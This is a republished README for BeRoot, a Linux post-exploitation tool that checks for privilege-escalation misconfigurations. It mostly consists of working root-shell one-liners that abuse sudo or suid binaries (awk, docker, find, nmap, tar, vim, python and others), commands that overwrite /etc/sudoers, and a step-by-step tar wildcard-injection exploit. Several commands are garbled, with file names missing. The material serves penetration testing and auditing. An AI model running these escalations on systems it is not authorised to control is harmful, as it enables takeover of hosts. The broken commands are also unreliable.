BeRoot For Linux - Privilege Escalation Project

BeRoot is a post exploitation tool to check common misconfigurations on Linux and Mac OS to find a way to escalate our privilege.

To understand privilege escalation on these systems, you should understand at least two main notions: LOLBins (this name has been given for Windows binaries but it should be correct to use it for Linux as well) and Wildcards. 
This Readme explains all technics implemented by BeRoot to better understand how to exploit it.


LOLBins could be used to gain root privilege on a system. These binaries allow a user to execute arbitrary code on the host, so imagine you could have access to one of them with sudo privilege (suid binary or if it's allowed on the sudoers file), you should be able to execute system command as root.
Here is a list of well-known binaries:
  • awk
sudo awk 'BEGIN {system("/bin/sh")}'
  • docker (if you can call docker, no need to run it with sudo)
docker run -v /home/${USER}:/h_docs ubuntu bash -c "cp /bin/bash /h_docs/rootshell && chmod 4777 /h_docs/rootshell;" && ~/rootshell -p
  • find
sudo find . -type d -exec sh -c id {} \;
  • file viewer
less: !bash
man:  !bash or $ sudo man -P whoami man
more:  !bash
  • file modifications (cannot be consider as LOLbins but useful for privilege escalation)
cp: sudo cp -f your_file /etc/sudoers
mv: sudo mv -f your_file /etc/sudoers
  • ftp / sftp
ftp> ! ls
  • git
export PAGER=./
sudo git -p help
  • mount
sudo mount -o bind /bin/bash /bin/mount
sudo mount
  • nmap
echo "os.execute('/bin/sh')" > /tmp/script.nse
sudo nmap --script=/tmp/script.nse
  • rsync
echo "whoami > /tmp/whoami" > /tmp/tmpfile
sudo rsync  -e 'sh /tmp/tmpfile' /dev/null 2>/dev/null

cat whoami 
  • scripting languages
lua:  os.execute('/bin/sh')
perl:  sudo  perl -e 'exec "/bin/sh";'
python: sudo  python -c 'import os;os.system("/bin/sh")'
ruby:  sudo ruby -e 'exec "/bin/sh"'
  • tar
sudo tar cf archive.tar * --checkpoint=1 --checkpoint-action=exec=sh
  • text editor
vi:  sudo vi -c '!sh' or :!bash or :set shell=/bin/bash:shell or :shell
vim :  sudo vim -c '!sh' or :!bash or :set shell=/bin/bash:shell or :shell
  • tcpdump
echo "whoami > /tmp/whoami" > /tmp/tmpfile
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z ./tmpfile -Z root

cat whoami 
  • wget (overwrite system file - need a web server)
sudo wget -O /etc/sudoers
  • zip
echo "/bin/sh" > /tmp/
sudo zip * -T -TT /tmp/
Note: If you have more binary example, do not hesitate to open an issue explaining the technic and I will add it on the list.
Having sudo access on these binaries do not mean you could always manage to execute commands on the system. For example, using the mount binary with a limited user could give you the following well known error, if it's well configured:
mount: only root can use "--options" option


If you have never heard about Unix wildcards, I suggest you read this very well explained article. Using wildcards could lead into code execution if this one is not well called.
For our example, we want to get a shell ("sh") using the tar command to execute code on the server. As explained on the LOLBin section, we could get it doing:
tar cf archive.tar * --checkpoint=1 --checkpoint-action=exec=sh
We consider a test file which is used to realize an archive of all files present on the directory.
user@host:~$ cat 
tar cf archive.tar * 
Here are the steps to exploit this bad configuration:
  • open nano (with no arguments)
  • write something in it
  • save file using tar arguments as file names:
    • --checkpoint-action=exec=sh
    • --checkpoint=1
Once created, this is what you will find:
user@host:~$ ls -la 
total 32
-rw-r--r-- 1 user user     5 Jan 12 10:34 --checkpoint-action=exec=sh
-rw-r--r-- 1 user user     3 Jan 12 10:33 --checkpoint=1
drwxr-xr-x 2 user user  4096 Jan 12 10:34 .
drwxr-xr-x 7 user user  4096 Jan 12 10:29 ..
-rwxr-xr-x 1 user user    22 Jan 12 10:32
If this file is executed as root (from cron table, from sudoers, etc.), you should gain root access on the system.
user@host:~$ sudo ./ 
sh-4.3# id
uid=0(root) gid=0(root) groups=0(root)
So depending on which binary and how the wildcard are used, the exploitation can be done or not. So on our example, the exploitation would not work anymore if the file would be like this:
user@host:~$ cat 
tar cf archive.tar *.txt
Thus, using a tool to detect these misconfigurations is very difficult. A manually analyse should be done to check if it's a false positive or not.

Sensitive files

Lots of file are run with high permissions on the system (e.g cron files, services, etc.). Here is an example of intersting directories and files:
Here are the tests done by BeRoot:
  • checks if you have access with write permission on these files.
  • checks inside the file, to find other paths with write permissions.
  • checks for wildcards (this check could raise false positives, but could also get you useful information). Sometimes, you may need write permissions on a specific folder to create your malicious file (as explained on the wildcard section), this check is not done because it could be done by two many ways on the script and it's difficult to automate.

Suid binaries

SUID (Set owner User ID up on execution) is a special type of file permissions given to a file. SUID is defined as giving temporary permissions to a user to run a program/file with the permissions of the file owner rather that the user who runs it. So if suid file is owned by root, you should execute it using root privilege.
BeRoot prints all suid files because a manually analyse should be done on each binary. However, it realizes some actions:
  • checks if we have write permissions on these binary (why not ? :))
  • checks if a LOLBin is used as suid to be able to execute system commands using it (remember you could have suid LOLBin without beeing able to exectute commands - checks LOLBin section with the false positive example using mount).

Sudoers file

Most of privilege escalations on Linux servers are done using bad sudo configurations. This configuration can be seen in /etc/sudoers file.
To better understand the BeRoot workflow, you should have an idea on how a sudoers line is composed.
Basic line pattern:
users  hosts = (run-as) tags: commands
Here is an example using aliases.
User_Alias ADMINS = admin, user, root
Cmnd_Alias ADMIN_CMDS = /sbin/service, /usr/sbin/iptables, python /tmp/
So users "admin", "user" and "root" could execute "service", "iptables" and "" without password needed (thanks to NOPASSWD):
admin,user,root ALL = (ALL) NOPASSWD: /sbin/service, /usr/sbin/iptables, python /tmp/
So BeRoot will analyse all rules:

  • if it affects our user or our user's group:
    • check if we have write permissions on all possible commands (in our example, it will test "service", "iptables", "python" and "/tmp/")
    • check for LOLBins
    • check for LOLBins + wildcards
    • check if we can impersonate another user ("su" command)
      • check write permissions on sensitive files and suid bin for this user
      • realize again all these checks on the sudoers file using this new user

BeRoot For Linux - Privilege Escalation Project BeRoot For Linux - Privilege Escalation Project Reviewed by Zion3R on 6:12 PM Rating: 5